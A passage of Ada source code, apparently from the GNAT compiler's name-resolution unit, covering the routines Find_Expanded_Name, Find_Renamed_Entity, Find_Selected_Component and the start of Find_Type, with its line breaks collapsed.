Name_Initializes, Name_Refined_Depends, Name_Refined_Global) then return True; -- Otherwise the pragma is not a legal context for an abstract -- view. else exit; end if; -- Prevent the search from going too far elsif Is_Body_Or_Package_Declaration (Par) then exit; end if; Par := Parent (Par); end loop; return False; end In_Abstract_View_Pragma; -- Local variables Selector : constant Node_Id := Selector_Name (N); Candidate : Entity_Id := Empty; P_Name : Entity_Id; Id : Entity_Id; -- Start of processing for Find_Expanded_Name begin P_Name := Entity (Prefix (N)); -- If the prefix is a renamed package, look for the entity in the -- original package. if Ekind (P_Name) = E_Package and then Present (Renamed_Object (P_Name)) then P_Name := Renamed_Object (P_Name); -- Rewrite node with entity field pointing to renamed object Rewrite (Prefix (N), New_Copy (Prefix (N))); Set_Entity (Prefix (N), P_Name); -- If the prefix is an object of a concurrent type, look for -- the entity in the associated task or protected type. elsif Is_Concurrent_Type (Etype (P_Name)) then P_Name := Etype (P_Name); end if; Id := Current_Entity (Selector); declare Is_New_Candidate : Boolean; begin while Present (Id) loop if Scope (Id) = P_Name then Candidate := Id; Is_New_Candidate := True; -- Handle abstract views of states and variables. These are -- acceptable candidates only when the reference to the view -- appears in certain pragmas. if Ekind (Id) = E_Abstract_State and then From_Limited_With (Id) and then Present (Non_Limited_View (Id)) then if In_Abstract_View_Pragma (N) then Candidate := Non_Limited_View (Id); Is_New_Candidate := True; -- Hide the candidate because it is not used in a proper -- context. else Candidate := Empty; Is_New_Candidate := False; end if; end if; -- Ada 2005 (AI-217): Handle shadow entities associated with -- types declared in limited-withed nested packages. We don't need -- to handle E_Incomplete_Subtype entities because the entities -- in the limited view are always E_Incomplete_Type and -- E_Class_Wide_Type entities (see Build_Limited_Views). -- Regarding the expression used to evaluate the scope, it -- is important to note that the limited view also has shadow -- entities associated nested packages. For this reason the -- correct scope of the entity is the scope of the real entity. -- The non-limited view may itself be incomplete, in which case -- get the full view if available. elsif Ekind_In (Id, E_Incomplete_Type, E_Class_Wide_Type) and then From_Limited_With (Id) and then Present (Non_Limited_View (Id)) and then Scope (Non_Limited_View (Id)) = P_Name then Candidate := Get_Full_View (Non_Limited_View (Id)); Is_New_Candidate := True; else Is_New_Candidate := False; end if; if Is_New_Candidate then -- If entity is a child unit, either it is a visible child of -- the prefix, or we are in the body of a generic prefix, as -- will happen when a child unit is instantiated in the body -- of a generic parent. This is because the instance body does -- not restore the full compilation context, given that all -- non-local references have been captured. if Is_Child_Unit (Id) or else P_Name = Standard_Standard then exit when Is_Visible_Lib_Unit (Id) or else (Is_Child_Unit (Id) and then In_Open_Scopes (Scope (Id)) and then In_Instance_Body); else exit when not Is_Hidden (Id); end if; exit when Is_Immediately_Visible (Id); end if; Id := Homonym (Id); end loop; end; if No (Id) and then Ekind_In (P_Name, E_Procedure, E_Function) and then Is_Generic_Instance (P_Name) then -- Expanded name denotes entity in (instance of) generic subprogram. -- The entity may be in the subprogram instance, or may denote one of -- the formals, which is declared in the enclosing wrapper package. P_Name := Scope (P_Name); Id := Current_Entity (Selector); while Present (Id) loop exit when Scope (Id) = P_Name; Id := Homonym (Id); end loop; end if; if No (Id) or else Chars (Id) /= Chars (Selector) then Set_Etype (N, Any_Type); -- If we are looking for an entity defined in System, try to find it -- in the child package that may have been provided as an extension -- to System. The Extend_System pragma will have supplied the name of -- the extension, which may have to be loaded. if Chars (P_Name) = Name_System and then Scope (P_Name) = Standard_Standard and then Present (System_Extend_Unit) and then Present_System_Aux (N) then Set_Entity (Prefix (N), System_Aux_Id); Find_Expanded_Name (N); return; -- There is an implicit instance of the predefined operator in -- the given scope. The operator entity is defined in Standard. -- Has_Implicit_Operator makes the node into an Expanded_Name. elsif Nkind (Selector) = N_Operator_Symbol and then Has_Implicit_Operator (N) then return; -- If there is no literal defined in the scope denoted by the -- prefix, the literal may belong to (a type derived from) -- Standard_Character, for which we have no explicit literals. elsif Nkind (Selector) = N_Character_Literal and then Has_Implicit_Character_Literal (N) then return; else -- If the prefix is a single concurrent object, use its name in -- the error message, rather than that of the anonymous type. if Is_Concurrent_Type (P_Name) and then Is_Internal_Name (Chars (P_Name)) then Error_Msg_Node_2 := Entity (Prefix (N)); else Error_Msg_Node_2 := P_Name; end if; if P_Name = System_Aux_Id then P_Name := Scope (P_Name); Set_Entity (Prefix (N), P_Name); end if; if Present (Candidate) then -- If we know that the unit is a child unit we can give a more -- accurate error message. if Is_Child_Unit (Candidate) then -- If the candidate is a private child unit and we are in -- the visible part of a public unit, specialize the error -- message. There might be a private with_clause for it, -- but it is not currently active. if Is_Private_Descendant (Candidate) and then Ekind (Current_Scope) = E_Package and then not In_Private_Part (Current_Scope) and then not Is_Private_Descendant (Current_Scope) then Error_Msg_N ("private child unit& is not visible here", Selector); -- Normal case where we have a missing with for a child unit else Error_Msg_Qual_Level := 99; Error_Msg_NE -- CODEFIX ("missing `WITH &;`", Selector, Candidate); Error_Msg_Qual_Level := 0; end if; -- Here we don't know that this is a child unit else Error_Msg_NE ("& is not a visible entity of&", N, Selector); end if; else -- Within the instantiation of a child unit, the prefix may -- denote the parent instance, but the selector has the name -- of the original child. That is to say, when A.B appears -- within an instantiation of generic child unit B, the scope -- stack includes an instance of A (P_Name) and an instance -- of B under some other name. We scan the scope to find this -- child instance, which is the desired entity. -- Note that the parent may itself be a child instance, if -- the reference is of the form A.B.C, in which case A.B has -- already been rewritten with the proper entity. if In_Open_Scopes (P_Name) and then Is_Generic_Instance (P_Name) then declare Gen_Par : constant Entity_Id := Generic_Parent (Specification (Unit_Declaration_Node (P_Name))); S : Entity_Id := Current_Scope; P : Entity_Id; begin for J in reverse 0 .. Scope_Stack.Last loop S := Scope_Stack.Table (J).Entity; exit when S = Standard_Standard; if Ekind_In (S, E_Function, E_Package, E_Procedure) then P := Generic_Parent (Specification (Unit_Declaration_Node (S))); -- Check that P is a generic child of the generic -- parent of the prefix. if Present (P) and then Chars (P) = Chars (Selector) and then Scope (P) = Gen_Par then Id := S; goto Found; end if; end if; end loop; end; end if; -- If this is a selection from Ada, System or Interfaces, then -- we assume a missing with for the corresponding package. if Is_Known_Unit (N) then if not Error_Posted (N) then Error_Msg_Node_2 := Selector; Error_Msg_N -- CODEFIX ("missing `WITH &.&;`", Prefix (N)); end if; -- If this is a selection from a dummy package, then suppress -- the error message, of course the entity is missing if the -- package is missing. elsif Sloc (Error_Msg_Node_2) = No_Location then null; -- Here we have the case of an undefined component else -- The prefix may hide a homonym in the context that -- declares the desired entity. This error can use a -- specialized message. if In_Open_Scopes (P_Name) then declare H : constant Entity_Id := Homonym (P_Name); begin if Present (H) and then Is_Compilation_Unit (H) and then (Is_Immediately_Visible (H) or else Is_Visible_Lib_Unit (H)) then Id := First_Entity (H); while Present (Id) loop if Chars (Id) = Chars (Selector) then Error_Msg_Qual_Level := 99; Error_Msg_Name_1 := Chars (Selector); Error_Msg_NE ("% not declared in&", N, P_Name); Error_Msg_NE ("\use fully qualified name starting with " & "Standard to make& visible", N, H); Error_Msg_Qual_Level := 0; goto Done; end if; Next_Entity (Id); end loop; end if; -- If not found, standard error message Error_Msg_NE ("& not declared in&", N, Selector); <<Done>> null; end; else Error_Msg_NE ("& not declared in&", N, Selector); end if; -- Check for misspelling of some entity in prefix Id := First_Entity (P_Name); while Present (Id) loop if Is_Bad_Spelling_Of (Chars (Id), Chars (Selector)) and then not Is_Internal_Name (Chars (Id)) then Error_Msg_NE -- CODEFIX ("possible misspelling of&", Selector, Id); exit; end if; Next_Entity (Id); end loop; -- Specialize the message if this may be an instantiation -- of a child unit that was not mentioned in the context. if Nkind (Parent (N)) = N_Package_Instantiation and then Is_Generic_Instance (Entity (Prefix (N))) and then Is_Compilation_Unit (Generic_Parent (Parent (Entity (Prefix (N))))) then Error_Msg_Node_2 := Selector; Error_Msg_N -- CODEFIX ("\missing `WITH &.&;`", Prefix (N)); end if; end if; end if; Id := Any_Id; end if; end if; <<Found>> if Comes_From_Source (N) and then Is_Remote_Access_To_Subprogram_Type (Id) and then Ekind (Id) = E_Access_Subprogram_Type and then Present (Equivalent_Type (Id)) then -- If we are not actually generating distribution code (i.e. the -- current PCS is the dummy non-distributed version), then the -- Equivalent_Type will be missing, and Id should be treated as -- a regular access-to-subprogram type. Id := Equivalent_Type (Id); Set_Chars (Selector, Chars (Id)); end if; -- Ada 2005 (AI-50217): Check usage of entities in limited withed units if Ekind (P_Name) = E_Package and then From_Limited_With (P_Name) then if From_Limited_With (Id) or else Is_Type (Id) or else Ekind (Id) = E_Package then null; else Error_Msg_N ("limited withed package can only be used to access incomplete " & "types", N); end if; end if; if Is_Task_Type (P_Name) and then ((Ekind (Id) = E_Entry and then Nkind (Parent (N)) /= N_Attribute_Reference) or else (Ekind (Id) = E_Entry_Family and then Nkind (Parent (Parent (N))) /= N_Attribute_Reference)) then -- If both the task type and the entry are in scope, this may still -- be the expanded name of an entry formal. if In_Open_Scopes (Id) and then Nkind (Parent (N)) = N_Selected_Component then null; else -- It is an entry call after all, either to the current task -- (which will deadlock) or to an enclosing task. Analyze_Selected_Component (N); return; end if; end if; Change_Selected_Component_To_Expanded_Name (N); -- Set appropriate type if Is_Type (Id) then Set_Etype (N, Id); else Set_Etype (N, Get_Full_View (Etype (Id))); end if; -- Do style check and generate reference, but skip both steps if this -- entity has homonyms, since we may not have the right homonym set yet. -- The proper homonym will be set during the resolve phase. if Has_Homonym (Id) then Set_Entity (N, Id); else Set_Entity_Or_Discriminal (N, Id); case Is_LHS (N) is when Yes => Generate_Reference (Id, N, 'm'); when No => Generate_Reference (Id, N, 'r'); when Unknown => Deferred_References.Append ((Id, N)); end case; end if; -- Check for violation of No_Wide_Characters Check_Wide_Character_Restriction (Id, N); -- If the Ekind of the entity is Void, it means that all homonyms are -- hidden from all visibility (RM 8.3(5,14-20)). if Ekind (Id) = E_Void then Premature_Usage (N); elsif Is_Overloadable (Id) and then Present (Homonym (Id)) then declare H : Entity_Id := Homonym (Id); begin while Present (H) loop if Scope (H) = Scope (Id) and then (not Is_Hidden (H) or else Is_Immediately_Visible (H)) then Collect_Interps (N); exit; end if; H := Homonym (H); end loop; -- If an extension of System is present, collect possible explicit -- overloadings declared in the extension. if Chars (P_Name) = Name_System and then Scope (P_Name) = Standard_Standard and then Present (System_Extend_Unit) and then Present_System_Aux (N) then H := Current_Entity (Id); while Present (H) loop if Scope (H) = System_Aux_Id then Add_One_Interp (N, H, Etype (H)); end if; H := Homonym (H); end loop; end if; end; end if; if Nkind (Selector_Name (N)) = N_Operator_Symbol and then Scope (Id) /= Standard_Standard then -- In addition to user-defined operators in the given scope, there -- may be an implicit instance of the predefined operator. The -- operator (defined in Standard) is found in Has_Implicit_Operator, -- and added to the interpretations. Procedure Add_One_Interp will -- determine which hides which. if Has_Implicit_Operator (N) then null; end if; end if; -- If there is a single interpretation for N we can generate a -- reference to the unique entity found. if Is_Overloadable (Id) and then not Is_Overloaded (N) then Generate_Reference (Id, N); end if; Check_Restriction_No_Use_Of_Entity (N); end Find_Expanded_Name; ------------------------- -- Find_Renamed_Entity -- ------------------------- function Find_Renamed_Entity (N : Node_Id; Nam : Node_Id; New_S : Entity_Id; Is_Actual : Boolean := False) return Entity_Id is Ind : Interp_Index; I1 : Interp_Index := 0; -- Suppress junk warnings It : Interp; It1 : Interp; Old_S : Entity_Id; Inst : Entity_Id; function Is_Visible_Operation (Op : Entity_Id) return Boolean; -- If the renamed entity is an implicit operator, check whether it is -- visible because its operand type is properly visible. This check -- applies to explicit renamed entities that appear in the source in a -- renaming declaration or a formal subprogram instance, but not to -- default generic actuals with a name. function Report_Overload return Entity_Id; -- List possible interpretations, and specialize message in the -- case of a generic actual. function Within (Inner, Outer : Entity_Id) return Boolean; -- Determine whether a candidate subprogram is defined within the -- enclosing instance. If yes, it has precedence over outer candidates. -------------------------- -- Is_Visible_Operation -- -------------------------- function Is_Visible_Operation (Op : Entity_Id) return Boolean is Scop : Entity_Id; Typ : Entity_Id; Btyp : Entity_Id; begin if Ekind (Op) /= E_Operator or else Scope (Op) /= Standard_Standard or else (In_Instance and then (not Is_Actual or else Present (Enclosing_Instance))) then return True; else -- For a fixed point type operator, check the resulting type, -- because it may be a mixed mode integer * fixed operation. if Present (Next_Formal (First_Formal (New_S))) and then Is_Fixed_Point_Type (Etype (New_S)) then Typ := Etype (New_S); else Typ := Etype (First_Formal (New_S)); end if; Btyp := Base_Type (Typ); if Nkind (Nam) /= N_Expanded_Name then return (In_Open_Scopes (Scope (Btyp)) or else Is_Potentially_Use_Visible (Btyp) or else In_Use (Btyp) or else In_Use (Scope (Btyp))); else Scop := Entity (Prefix (Nam)); if Ekind (Scop) = E_Package and then Present (Renamed_Object (Scop)) then Scop := Renamed_Object (Scop); end if; -- Operator is visible if prefix of expanded name denotes -- scope of type, or else type is defined in System_Aux -- and the prefix denotes System. return Scope (Btyp) = Scop or else (Scope (Btyp) = System_Aux_Id and then Scope (Scope (Btyp)) = Scop); end if; end if; end Is_Visible_Operation; ------------ -- Within -- ------------ function Within (Inner, Outer : Entity_Id) return Boolean is Sc : Entity_Id; begin Sc := Scope (Inner); while Sc /= Standard_Standard loop if Sc = Outer then return True; else Sc := Scope (Sc); end if; end loop; return False; end Within; --------------------- -- Report_Overload -- --------------------- function Report_Overload return Entity_Id is begin if Is_Actual then Error_Msg_NE -- CODEFIX ("ambiguous actual subprogram&, " & "possible interpretations:", N, Nam); else Error_Msg_N -- CODEFIX ("ambiguous subprogram, " & "possible interpretations:", N); end if; List_Interps (Nam, N); return Old_S; end Report_Overload; -- Start of processing for Find_Renamed_Entity begin Old_S := Any_Id; Candidate_Renaming := Empty; if Is_Overloaded (Nam) then Get_First_Interp (Nam, Ind, It); while Present (It.Nam) loop if Entity_Matches_Spec (It.Nam, New_S) and then Is_Visible_Operation (It.Nam) then if Old_S /= Any_Id then -- Note: The call to Disambiguate only happens if a -- previous interpretation was found, in which case I1 -- has received a value. It1 := Disambiguate (Nam, I1, Ind, Etype (Old_S)); if It1 = No_Interp then Inst := Enclosing_Instance; if Present (Inst) then if Within (It.Nam, Inst) then if Within (Old_S, Inst) then -- Choose the innermost subprogram, which would -- have hidden the outer one in the generic. if Scope_Depth (It.Nam) < Scope_Depth (Old_S) then return Old_S; else return It.Nam; end if; end if; elsif Within (Old_S, Inst) then return (Old_S); else return Report_Overload; end if; -- If not within an instance, ambiguity is real else return Report_Overload; end if; else Old_S := It1.Nam; exit; end if; else I1 := Ind; Old_S := It.Nam; end if; elsif Present (First_Formal (It.Nam)) and then Present (First_Formal (New_S)) and then (Base_Type (Etype (First_Formal (It.Nam))) = Base_Type (Etype (First_Formal (New_S)))) then Candidate_Renaming := It.Nam; end if; Get_Next_Interp (Ind, It); end loop; Set_Entity (Nam, Old_S); if Old_S /= Any_Id then Set_Is_Overloaded (Nam, False); end if; -- Non-overloaded case else if Is_Actual and then Present (Enclosing_Instance) and then Entity_Matches_Spec (Entity (Nam), New_S) then Old_S := Entity (Nam); elsif Entity_Matches_Spec (Entity (Nam), New_S) then Candidate_Renaming := New_S; if Is_Visible_Operation (Entity (Nam)) then Old_S := Entity (Nam); end if; elsif Present (First_Formal (Entity (Nam))) and then Present (First_Formal (New_S)) and then (Base_Type (Etype (First_Formal (Entity (Nam)))) = Base_Type (Etype (First_Formal (New_S)))) then Candidate_Renaming := Entity (Nam); end if; end if; return Old_S; end Find_Renamed_Entity; ----------------------------- -- Find_Selected_Component -- ----------------------------- procedure Find_Selected_Component (N : Node_Id) is P : constant Node_Id := Prefix (N); P_Name : Entity_Id; -- Entity denoted by prefix P_Type : Entity_Id; -- and its type Nam : Node_Id; function Available_Subtype return Boolean; -- A small optimization: if the prefix is constrained and the component -- is an array type we may already have a usable subtype for it, so we -- can use it rather than generating a new one, because the bounds -- will be the values of the discriminants and not discriminant refs. -- This simplifies value tracing in GNATProve. For consistency, both -- the entity name and the subtype come from the constrained component. -- This is only used in GNATProve mode: when generating code it may be -- necessary to create an itype in the scope of use of the selected -- component, e.g. in the context of a expanded record equality. function Is_Reference_In_Subunit return Boolean; -- In a subunit, the scope depth is not a proper measure of hiding, -- because the context of the proper body may itself hide entities in -- parent units. This rare case requires inspecting the tree directly -- because the proper body is inserted in the main unit and its context -- is simply added to that of the parent. ----------------------- -- Available_Subtype -- ----------------------- function Available_Subtype return Boolean is Comp : Entity_Id; begin if GNATprove_Mode then Comp := First_Entity (Etype (P)); while Present (Comp) loop if Chars (Comp) = Chars (Selector_Name (N)) then Set_Etype (N, Etype (Comp)); Set_Entity (Selector_Name (N), Comp); Set_Etype (Selector_Name (N), Etype (Comp)); return True; end if; Next_Component (Comp); end loop; end if; return False; end Available_Subtype; ----------------------------- -- Is_Reference_In_Subunit -- ----------------------------- function Is_Reference_In_Subunit return Boolean is Clause : Node_Id; Comp_Unit : Node_Id; begin Comp_Unit := N; while Present (Comp_Unit) and then Nkind (Comp_Unit) /= N_Compilation_Unit loop Comp_Unit := Parent (Comp_Unit); end loop; if No (Comp_Unit) or else Nkind (Unit (Comp_Unit)) /= N_Subunit then return False; end if; -- Now check whether the package is in the context of the subunit Clause := First (Context_Items (Comp_Unit)); while Present (Clause) loop if Nkind (Clause) = N_With_Clause and then Entity (Name (Clause)) = P_Name then return True; end if; Clause := Next (Clause); end loop; return False; end Is_Reference_In_Subunit; -- Start of processing for Find_Selected_Component begin Analyze (P); if Nkind (P) = N_Error then return; end if; -- Selector name cannot be a character literal or an operator symbol in -- SPARK, except for the operator symbol in a renaming. if Restriction_Check_Required (SPARK_05) then if Nkind (Selector_Name (N)) = N_Character_Literal then Check_SPARK_05_Restriction ("character literal cannot be prefixed", N); elsif Nkind (Selector_Name (N)) = N_Operator_Symbol and then Nkind (Parent (N)) /= N_Subprogram_Renaming_Declaration then Check_SPARK_05_Restriction ("operator symbol cannot be prefixed", N); end if; end if; -- If the selector already has an entity, the node has been constructed -- in the course of expansion, and is known to be valid. Do not verify -- that it is defined for the type (it may be a private component used -- in the expansion of record equality). if Present (Entity (Selector_Name (N))) then if No (Etype (N)) or else Etype (N) = Any_Type then declare Sel_Name : constant Node_Id := Selector_Name (N); Selector : constant Entity_Id := Entity (Sel_Name); C_Etype : Node_Id; begin Set_Etype (Sel_Name, Etype (Selector)); if not Is_Entity_Name (P) then Resolve (P); end if; -- Build an actual subtype except for the first parameter -- of an init proc, where this actual subtype is by -- definition incorrect, since the object is uninitialized -- (and does not even have defined discriminants etc.) if Is_Entity_Name (P) and then Ekind (Entity (P)) = E_Function then Nam := New_Copy (P); if Is_Overloaded (P) then Save_Interps (P, Nam); end if; Rewrite (P, Make_Function_Call (Sloc (P), Name => Nam)); Analyze_Call (P); Analyze_Selected_Component (N); return; elsif Ekind (Selector) = E_Component and then (not Is_Entity_Name (P) or else Chars (Entity (P)) /= Name_uInit) then -- Check if we already have an available subtype we can use if Ekind (Etype (P)) = E_Record_Subtype and then Nkind (Parent (Etype (P))) = N_Subtype_Declaration and then Is_Array_Type (Etype (Selector)) and then not Is_Packed (Etype (Selector)) and then Available_Subtype then return; -- Do not build the subtype when referencing components of -- dispatch table wrappers. Required to avoid generating -- elaboration code with HI runtimes. elsif RTU_Loaded (Ada_Tags) and then ((RTE_Available (RE_Dispatch_Table_Wrapper) and then Scope (Selector) = RTE (RE_Dispatch_Table_Wrapper)) or else (RTE_Available (RE_No_Dispatch_Table_Wrapper) and then Scope (Selector) = RTE (RE_No_Dispatch_Table_Wrapper))) then C_Etype := Empty; else C_Etype := Build_Actual_Subtype_Of_Component (Etype (Selector), N); end if; else C_Etype := Empty; end if; if No (C_Etype) then C_Etype := Etype (Selector); else Insert_Action (N, C_Etype); C_Etype := Defining_Identifier (C_Etype); end if; Set_Etype (N, C_Etype); end; -- If this is the name of an entry or protected operation, and -- the prefix is an access type, insert an explicit dereference, -- so that entry calls are treated uniformly. if Is_Access_Type (Etype (P)) and then Is_Concurrent_Type (Designated_Type (Etype (P))) then declare New_P : constant Node_Id := Make_Explicit_Dereference (Sloc (P), Prefix => Relocate_Node (P)); begin Rewrite (P, New_P); Set_Etype (P, Designated_Type (Etype (Prefix (P)))); end; end if; -- If the selected component appears within a default expression -- and it has an actual subtype, the pre-analysis has not yet -- completed its analysis, because Insert_Actions is disabled in -- that context. Within the init proc of the enclosing type we -- must complete this analysis, if an actual subtype was created. elsif Inside_Init_Proc then declare Typ : constant Entity_Id := Etype (N); Decl : constant Node_Id := Declaration_Node (Typ); begin if Nkind (Decl) = N_Subtype_Declaration and then not Analyzed (Decl) and then Is_List_Member (Decl) and then No (Parent (Decl)) then Remove (Decl); Insert_Action (N, Decl); end if; end; end if; return; elsif Is_Entity_Name (P) then P_Name := Entity (P); -- The prefix may denote an enclosing type which is the completion -- of an incomplete type declaration. if Is_Type (P_Name) then Set_Entity (P, Get_Full_View (P_Name)); Set_Etype (P, Entity (P)); P_Name := Entity (P); end if; P_Type := Base_Type (Etype (P)); if Debug_Flag_E then Write_Str ("Found prefix type to be "); Write_Entity_Info (P_Type, " "); Write_Eol; end if; -- The designated type may be a limited view with no components. -- Check whether the non-limited view is available, because in some -- cases this will not be set when installing the context. Rewrite -- the node by introducing an explicit dereference at once, and -- setting the type of the rewritten prefix to the non-limited view -- of the original designated type. if Is_Access_Type (P_Type) then declare Desig_Typ : constant Entity_Id := Directly_Designated_Type (P_Type); begin if Is_Incomplete_Type (Desig_Typ) and then From_Limited_With (Desig_Typ) and then Present (Non_Limited_View (Desig_Typ)) then Rewrite (P, Make_Explicit_Dereference (Sloc (P), Prefix => Relocate_Node (P))); Set_Etype (P, Get_Full_View (Non_Limited_View (Desig_Typ))); P_Type := Etype (P); end if; end; end if; -- First check for components of a record object (not the -- result of a call, which is handled below). if Is_Appropriate_For_Record (P_Type) and then not Is_Overloadable (P_Name) and then not Is_Type (P_Name) then -- Selected component of record. Type checking will validate -- name of selector. -- ??? Could we rewrite an implicit dereference into an explicit -- one here? Analyze_Selected_Component (N); -- Reference to type name in predicate/invariant expression elsif Is_Appropriate_For_Entry_Prefix (P_Type) and then not In_Open_Scopes (P_Name) and then (not Is_Concurrent_Type (Etype (P_Name)) or else not In_Open_Scopes (Etype (P_Name))) then -- Call to protected operation or entry. Type checking is -- needed on the prefix. Analyze_Selected_Component (N); elsif (In_Open_Scopes (P_Name) and then Ekind (P_Name) /= E_Void and then not Is_Overloadable (P_Name)) or else (Is_Concurrent_Type (Etype (P_Name)) and then In_Open_Scopes (Etype (P_Name))) then -- Prefix denotes an enclosing loop, block, or task, i.e. an -- enclosing construct that is not a subprogram or accept. -- A special case: a protected body may call an operation -- on an external object of the same type, in which case it -- is not an expanded name. If the prefix is the type itself, -- or the context is a single synchronized object it can only -- be interpreted as an expanded name. if Is_Concurrent_Type (Etype (P_Name)) then if Is_Type (P_Name) or else Present (Anonymous_Object (Etype (P_Name))) then Find_Expanded_Name (N); else Analyze_Selected_Component (N); return; end if; else Find_Expanded_Name (N); end if; elsif Ekind (P_Name) = E_Package then Find_Expanded_Name (N); elsif Is_Overloadable (P_Name) then -- The subprogram may be a renaming (of an enclosing scope) as -- in the case of the name of the generic within an instantiation. if Ekind_In (P_Name, E_Procedure, E_Function) and then Present (Alias (P_Name)) and then Is_Generic_Instance (Alias (P_Name)) then P_Name := Alias (P_Name); end if; if Is_Overloaded (P) then -- The prefix must resolve to a unique enclosing construct declare Found : Boolean := False; Ind : Interp_Index; It : Interp; begin Get_First_Interp (P, Ind, It); while Present (It.Nam) loop if In_Open_Scopes (It.Nam) then if Found then Error_Msg_N ( "prefix must be unique enclosing scope", N); Set_Entity (N, Any_Id); Set_Etype (N, Any_Type); return; else Found := True; P_Name := It.Nam; end if; end if; Get_Next_Interp (Ind, It); end loop; end; end if; if In_Open_Scopes (P_Name) then Set_Entity (P, P_Name); Set_Is_Overloaded (P, False); Find_Expanded_Name (N); else -- If no interpretation as an expanded name is possible, it -- must be a selected component of a record returned by a -- function call. Reformat prefix as a function call, the rest -- is done by type resolution. -- Error if the prefix is procedure or entry, as is P.X if Ekind (P_Name) /= E_Function and then (not Is_Overloaded (P) or else Nkind (Parent (N)) = N_Procedure_Call_Statement) then -- Prefix may mention a package that is hidden by a local -- declaration: let the user know. Scan the full homonym -- chain, the candidate package may be anywhere on it. if Present (Homonym (Current_Entity (P_Name))) then P_Name := Current_Entity (P_Name); while Present (P_Name) loop exit when Ekind (P_Name) = E_Package; P_Name := Homonym (P_Name); end loop; if Present (P_Name) then if not Is_Reference_In_Subunit then Error_Msg_Sloc := Sloc (Entity (Prefix (N))); Error_Msg_NE ("package& is hidden by declaration#", N, P_Name); end if; Set_Entity (Prefix (N), P_Name); Find_Expanded_Name (N); return; else P_Name := Entity (Prefix (N)); end if; end if; Error_Msg_NE ("invalid prefix in selected component&", N, P_Name); Change_Selected_Component_To_Expanded_Name (N); Set_Entity (N, Any_Id); Set_Etype (N, Any_Type); -- Here we have a function call, so do the reformatting else Nam := New_Copy (P); Save_Interps (P, Nam); -- We use Replace here because this is one of those cases -- where the parser has missclassified the node, and we fix -- things up and then do the semantic analysis on the fixed -- up node. Normally we do this using one of the Sinfo.CN -- routines, but this is too tricky for that. -- Note that using Rewrite would be wrong, because we would -- have a tree where the original node is unanalyzed, and -- this violates the required interface for ASIS. Replace (P, Make_Function_Call (Sloc (P), Name => Nam)); -- Now analyze the reformatted node Analyze_Call (P); -- If the prefix is illegal after this transformation, there -- may be visibility errors on the prefix. The safest is to -- treat the selected component as an error. if Error_Posted (P) then Set_Etype (N, Any_Type); return; else Analyze_Selected_Component (N); end if; end if; end if; -- Remaining cases generate various error messages else -- Format node as expanded name, to avoid cascaded errors -- If the limited_with transformation was applied earlier, restore -- source for proper error reporting. if not Comes_From_Source (P) and then Nkind (P) = N_Explicit_Dereference then Rewrite (P, Prefix (P)); P_Type := Etype (P); end if; Change_Selected_Component_To_Expanded_Name (N); Set_Entity (N, Any_Id); Set_Etype (N, Any_Type); -- Issue error message, but avoid this if error issued already. -- Use identifier of prefix if one is available. if P_Name = Any_Id then null; -- It is not an error if the prefix is the current instance of -- type name, e.g. the expression of a type aspect, when it is -- analyzed for ASIS use. elsif Is_Entity_Name (P) and then Is_Current_Instance (P) then null; elsif Ekind (P_Name) = E_Void then Premature_Usage (P); elsif Nkind (P) /= N_Attribute_Reference then -- This may have been meant as a prefixed call to a primitive -- of an untagged type. If it is a function call check type of -- its first formal and add explanation. declare F : constant Entity_Id := Current_Entity (Selector_Name (N)); begin if Present (F) and then Is_Overloadable (F) and then Present (First_Entity (F)) and then not Is_Tagged_Type (Etype (First_Entity (F))) then Error_Msg_N ("prefixed call is only allowed for objects of a " & "tagged type", N); end if; end; Error_Msg_N ("invalid prefix in selected component&", P); if Is_Access_Type (P_Type) and then Ekind (Designated_Type (P_Type)) = E_Incomplete_Type then Error_Msg_N ("\dereference must not be of an incomplete type " & "(RM 3.10.1)", P); end if; else Error_Msg_N ("invalid prefix in selected component", P); end if; end if; -- Selector name is restricted in SPARK if Nkind (N) = N_Expanded_Name and then Restriction_Check_Required (SPARK_05) then if Is_Subprogram (P_Name) then Check_SPARK_05_Restriction ("prefix of expanded name cannot be a subprogram", P); elsif Ekind (P_Name) = E_Loop then Check_SPARK_05_Restriction ("prefix of expanded name cannot be a loop statement", P); end if; end if; else -- If prefix is not the name of an entity, it must be an expression, -- whose type is appropriate for a record. This is determined by -- type resolution. Analyze_Selected_Component (N); end if; Analyze_Dimension (N); end Find_Selected_Component; --------------- -- Find_Type -- --------------- procedure Find_Type (N : Node_Id) is C : Entity_Id; Typ : Entity_Id; T : Entity_Id; T_Name : Entity_Id; begin if N = Error then return; elsif Nkind (N) = N_Attribute_Reference then -- Class attribute. This is not valid in Ada 83 mode, but we do not -- need to enforce that at this point, since the declaration of the -- tagged type in the prefix would have been flagged already. if Attribute_Name (N) = Name_Class then Check_Restriction (No_Dispatch, N); Find_Type (Prefix (N)); -- Propagate error from bad prefix if Etype (Prefix (N)) = Any_Type then Set_Entity (N, Any_Type); Set_Etype (N, Any_Type); return; end if; T := Base_Type (Entity (Prefix (N))); -- Case where type is not known to be tagged. Its appearance in -- the prefix of the 'Class attribute indicates that the full view -- will be tagged. if not Is_Tagged_Type (T) then if Ekind (T) = E_Incomplete_Type then -- It is legal to denote the class type of an incomplete -- type. The full type will have to be tagged, of course. -- In Ada 2005 this usage is declared obsolescent, so we -- warn accordingly. This usage is only legal if the type -- is completed in the current scope, and not for a limited -- view of a type. if Ada_Version >= Ada_2005 then -- Test whether the Available_View of a limited type view -- is tagged, since the limited view may not be marked as -- tagged if the type itself has an untagged incomplete -- type view in its package. if From_Limited_With (T) and then not Is_Tagged_Type (Available_View (T)) then Error_Msg_N ("prefix of Class attribute must be tagged", N); Set_Etype (N, Any_Type); Set_Entity (N, Any_Type); return; -- ??? This test is temporarily disabled (always -- False) because it causes an unwanted warning on -- GNAT sources (built with -gnatg, which includes -- Warn_On_Obsolescent_ Feature). Once this issue -- is cleared in the sources, it can be enabled. elsif Warn_On_Obsolescent_Feature and then False then Error_Msg_N ("applying 'Class to an untagged incomplete type" & " is an obsolescent feature (RM J.11)?r?", N); end if; end if; Set_Is_Tagged_Type (T); Set_Direct_Primitive_Operations (T, New_Elmt_List); Make_Class_Wide_Type (T); Set_Entity (N, Class_Wide_Type (T)); Set_Etype (N, Class_Wide_Type (T)); elsif Ekind (T) = E_Private_Type and then not Is_Generic_Type (T) and then In_Private_Part (Scope (T)) then -- The Class attribute can be applied to an untagged private -- type fulfilled by a tagged type prior to the full type -- declaration (but only within the parent package's private -- part). Create the class-wide type now and check that the -- full type is tagged later during its analysis. Note that -- we do not mark the private type as tagged, unlike the -- case of incomplete types, because the type must still -- appear untagged to outside units. if No (Class_Wide_Type (T)) then Make_Class_Wide_Type (T); end if; Set_Entity (N, Class_Wide_Type (T)); 